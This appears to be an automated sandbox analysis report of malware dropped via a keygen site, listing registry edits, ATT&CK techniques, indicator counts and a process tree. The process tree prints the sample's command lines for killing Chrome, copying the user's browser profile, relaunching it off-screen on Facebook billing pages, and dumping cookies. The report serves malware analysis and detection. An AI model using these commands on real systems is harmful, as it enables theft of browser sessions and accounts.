Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000007cc37fc64e4408e752cc1f4a410df6fd04bb8c89c16d2cf67b2112341ba24299bf4b4cce41cb2e7c6dd878d8ec0d396efb59efe22fb12705b5f663741043115c3b09789bf9b3fef3a7bf0e7b57775379bdbdfcad22a63786bbb84758671d4c55161bc52e829c4c682fa4dc8279e93a555806efdabbeb1df092879da10dd00dcf9ca28509ef269f4af6a59036e104b3df2054087563229a3bf383871c92fb2c3be5be6b3559f2433b05e4dd307f69bb4bdbc61a954eeaad0591cc9e3b99407b751b9025a4129e8ff631808bccd7b62060f17ea7a8f5e250c08782777cf43e767e45366dda25cbdf4ecc9899075c8d6047399b8c025bac01f7b2c5eaa1ad95f2d7bcd117ed8f195435164e4f7af58cc4ec303d99c439e743a195b532bee2e5bf6a2a82e4cdde2846d8f9c08d9c8a5450eb65849e0fd8325984a3729a081ece46fc73679be5e298c0c75510494830862c0cb38fc389072fa2a4b81c318816f06835b2a1a805480a5036e35ce206c2c04256fd8096329e7c37cba0d31c8a3feb4838af505a9f5a1ce73e55c615345ca41caa6276cc89adbb5215a0e3879c7670ec8252a2bb74640b	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\EnablementState = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 010000006ce6d7f07e9b173a7e88aa69f19d2ba8f4c86a77f2031652eb1ecaee016abc40b5b42988a550c599d608388e383c5d52d78d0e8aefd5badb814946278c0878c488772e79cd266e54582698b99875c0c5d6e6e9a5176be0a2c945	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

keygen-step-2.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	keygen-step-2.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	keygen-step-2.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

6104 PING.EXE
6068 PING.EXE
5152 PING.EXE

pid	process
6104	PING.EXE
6068	PING.EXE
5152	PING.EXE

Script User-Agent 6 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	658	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	667	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	668	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	272	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	276	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	656	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exesetups.tmpmultitimer.exe

pid	process
748	chrome.exe
748	chrome.exe
4684	chrome.exe
4684	chrome.exe
3908	chrome.exe
3908	chrome.exe
4464	chrome.exe
4464	chrome.exe
5876	chrome.exe
5876	chrome.exe
5920	chrome.exe
5920	chrome.exe
5196	chrome.exe
5196	chrome.exe
5312	chrome.exe
5312	chrome.exe
5492	chrome.exe
5492	chrome.exe
2052	chrome.exe
2052	chrome.exe
2052	chrome.exe
2052	chrome.exe
3416	setups.tmp
3416	setups.tmp
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe
1736	multitimer.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

MicrosoftEdgeCP.exe

pid process

5712 MicrosoftEdgeCP.exe
5712 MicrosoftEdgeCP.exe

pid	process
5712	MicrosoftEdgeCP.exe
5712	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

Setup.exeaskinstall20.exetaskkill.exemultitimer.exeMicrosoftEdge.exeMicrosoftEdgeCP.exemultitimer.exe

description	pid	process
Token: SeDebugPrivilege	1044	Setup.exe
Token: SeCreateTokenPrivilege	5936	askinstall20.exe
Token: SeAssignPrimaryTokenPrivilege	5936	askinstall20.exe
Token: SeLockMemoryPrivilege	5936	askinstall20.exe
Token: SeIncreaseQuotaPrivilege	5936	askinstall20.exe
Token: SeMachineAccountPrivilege	5936	askinstall20.exe
Token: SeTcbPrivilege	5936	askinstall20.exe
Token: SeSecurityPrivilege	5936	askinstall20.exe
Token: SeTakeOwnershipPrivilege	5936	askinstall20.exe
Token: SeLoadDriverPrivilege	5936	askinstall20.exe
Token: SeSystemProfilePrivilege	5936	askinstall20.exe
Token: SeSystemtimePrivilege	5936	askinstall20.exe
Token: SeProfSingleProcessPrivilege	5936	askinstall20.exe
Token: SeIncBasePriorityPrivilege	5936	askinstall20.exe
Token: SeCreatePagefilePrivilege	5936	askinstall20.exe
Token: SeCreatePermanentPrivilege	5936	askinstall20.exe
Token: SeBackupPrivilege	5936	askinstall20.exe
Token: SeRestorePrivilege	5936	askinstall20.exe
Token: SeShutdownPrivilege	5936	askinstall20.exe
Token: SeDebugPrivilege	5936	askinstall20.exe
Token: SeAuditPrivilege	5936	askinstall20.exe
Token: SeSystemEnvironmentPrivilege	5936	askinstall20.exe
Token: SeChangeNotifyPrivilege	5936	askinstall20.exe
Token: SeRemoteShutdownPrivilege	5936	askinstall20.exe
Token: SeUndockPrivilege	5936	askinstall20.exe
Token: SeSyncAgentPrivilege	5936	askinstall20.exe
Token: SeEnableDelegationPrivilege	5936	askinstall20.exe
Token: SeManageVolumePrivilege	5936	askinstall20.exe
Token: SeImpersonatePrivilege	5936	askinstall20.exe
Token: SeCreateGlobalPrivilege	5936	askinstall20.exe
Token: 31	5936	askinstall20.exe
Token: 32	5936	askinstall20.exe
Token: 33	5936	askinstall20.exe
Token: 34	5936	askinstall20.exe
Token: 35	5936	askinstall20.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeDebugPrivilege	2172	multitimer.exe
Token: SeDebugPrivilege	1396	MicrosoftEdge.exe
Token: SeDebugPrivilege	1396	MicrosoftEdge.exe
Token: SeDebugPrivilege	1396	MicrosoftEdge.exe
Token: SeDebugPrivilege	1396	MicrosoftEdge.exe
Token: SeDebugPrivilege	1436	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1436	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1436	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1436	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	1736	multitimer.exe

Suspicious use of FindShellTrayWindow 12 IoCs

Processes:

chrome.exechrome.exe

pid	process
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4684	chrome.exe
4772	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

1396 MicrosoftEdge.exe
5712 MicrosoftEdgeCP.exe
5712 MicrosoftEdgeCP.exe

pid	process
1396	MicrosoftEdge.exe
5712	MicrosoftEdgeCP.exe
5712	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 4684 wrote to memory of 4720	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 4720	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 3664	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 748	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 748	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe
PID 4684 wrote to memory of 1172	4684	chrome.exe	chrome.exe

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenninja.com/
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x64,0xcc,0xd0,0xb0,0xd4,0x7ffefc546e00,0x7ffefc546e10,0x7ffefc546e20
  2⤵
  PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1488 /prefetch:2
  2⤵
  PID:3664
- - C:\Users\Admin\AppData\Local\Temp\is-A5ALD.tmp\lylal220.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-A5ALD.tmp\lylal220.tmp" /SL5="$3059E,491750,408064,C:\Program Files (x86)\VR\Versium Research\lylal220.exe"
    3⤵
    PID:5472
  - - C:\Users\Admin\AppData\Local\Temp\is-DRO6K.tmp\Microsoft.exe
      "C:\Users\Admin\AppData\Local\Temp\is-DRO6K.tmp\Microsoft.exe" /S /UID=lylal220
      4⤵
      PID:6140
    - - C:\Program Files\Windows Media Player\KKSEAOLIUW\irecord.exe
        
        "C:\Program Files\Windows Media Player\KKSEAOLIUW\irecord.exe" /VERYSILENT
        5⤵
        
        PID:5292
      - C:\Users\Admin\AppData\Local\Temp\is-F2IS0.tmp\irecord.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F2IS0.tmp\irecord.tmp" /SL5="$2059C,6265333,408064,C:\Program Files\Windows Media Player\KKSEAOLIUW\irecord.exe" /VERYSILENT
        6⤵
        
        PID:7028
    - - C:\Users\Admin\AppData\Local\Temp\2b-7935c-68c-6ee94-5c193482f0a4f\Herexalufy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2b-7935c-68c-6ee94-5c193482f0a4f\Herexalufy.exe"
        5⤵
        
        PID:6936
    - - C:\Users\Admin\AppData\Local\Temp\d6-58fdb-14a-a448a-5ab828802c394\Qoruwysyfae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d6-58fdb-14a-a448a-5ab828802c394\Qoruwysyfae.exe"
        5⤵
        
        PID:7032
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cg5tkpa4.lic\gaooo.exe & exit
        6⤵
        
        PID:7076
        
        C:\Users\Admin\AppData\Local\Temp\cg5tkpa4.lic\gaooo.exe
        
        C:\Users\Admin\AppData\Local\Temp\cg5tkpa4.lic\gaooo.exe
        7⤵
        
        PID:3836
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:4748
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:5912
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kb4gt5bg.4tc\md7_7dfj.exe & exit
        6⤵
        
        PID:5156
        
        C:\Users\Admin\AppData\Local\Temp\kb4gt5bg.4tc\md7_7dfj.exe
        
        C:\Users\Admin\AppData\Local\Temp\kb4gt5bg.4tc\md7_7dfj.exe
        7⤵
        
        PID:6244
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hp2oekfz.svm\askinstall31.exe & exit
        6⤵
        
        PID:5128
        
        C:\Users\Admin\AppData\Local\Temp\hp2oekfz.svm\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\hp2oekfz.svm\askinstall31.exe
        7⤵
        
        PID:4736
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        8⤵
        
        PID:4288
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        9⤵
        Kills process with taskkill
        
        PID:3696
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
        8⤵
        
        PID:4152
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
        8⤵
        
        PID:7772
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd8,0xdc,0xe0,0xd4,0xe4,0x7ffee6676e00,0x7ffee6676e10,0x7ffee6676e20
        9⤵
        
        PID:5284
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
